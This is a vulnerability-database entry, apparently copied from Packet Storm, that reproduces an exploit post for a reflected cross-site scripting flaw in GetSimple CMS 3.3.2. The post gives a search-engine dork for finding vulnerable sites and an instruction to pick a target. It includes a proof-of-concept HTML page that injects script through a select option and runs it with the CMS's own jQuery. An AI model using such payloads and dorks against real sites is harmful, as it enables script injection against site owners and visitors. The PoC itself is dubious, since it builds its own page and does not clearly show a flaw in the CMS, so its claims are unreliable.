GetSimple CMS 3.3.2 Cross Site Scripting

🗓️ 25 Aug 2023 00:00:00Reported by indoushkaType

packetstorm🔗 packetstormsecurity.com👁 358 Views

GetSimple CMS 3.3.2 XSS vulnerability in select featur

`====================================================================================================================================  
| # Title : GetSimple CMS v3.3.2 XSS Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) |  
| # Vendor : http://get-simple.info/ |  
| # Dork : © 2009-2014 GetSimple CMS – Version 3.3.2 |  
====================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] LIne 5 Se7 y0ur T@rg3t .  
  
[+] XSS Reflected - Jquery v1.7.1 :  
  
<html>  
<head>  
<meta charset="utf-8">  
<title>XSS Reflected - Jquery v1.7.1 </title>  
<script src="http://127.0.0.1/GetSimpleCMS/admin/template/js/jquery.min.js"></script>  
<script>  
$(function() {  
$('#users').each(function() {  
var select = $(this);  
var option = select.children('option').first();  
select.after(option.text());  
select.hide();  
});  
});  
</script>  
</head>  
  
  
<body>  
<form method="post">  
<p>  
<select id="users" name="users">  
<option value="xssreflected"><script>alert(&#x27;xss  
reflected - jquery v1.7.1 by - indoushka thnx to   
@firebitsbr - [email protected]&#x27;);</script></option>  
</select>  
</p>  
</form>  
</body>  
</html>  
  
Greetings to :=========================================================================================================================  
jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr |  
=======================================================================================================================================  
`

25 Aug 2023 00:00Current

7.1High risk

Vulners AI Score7.1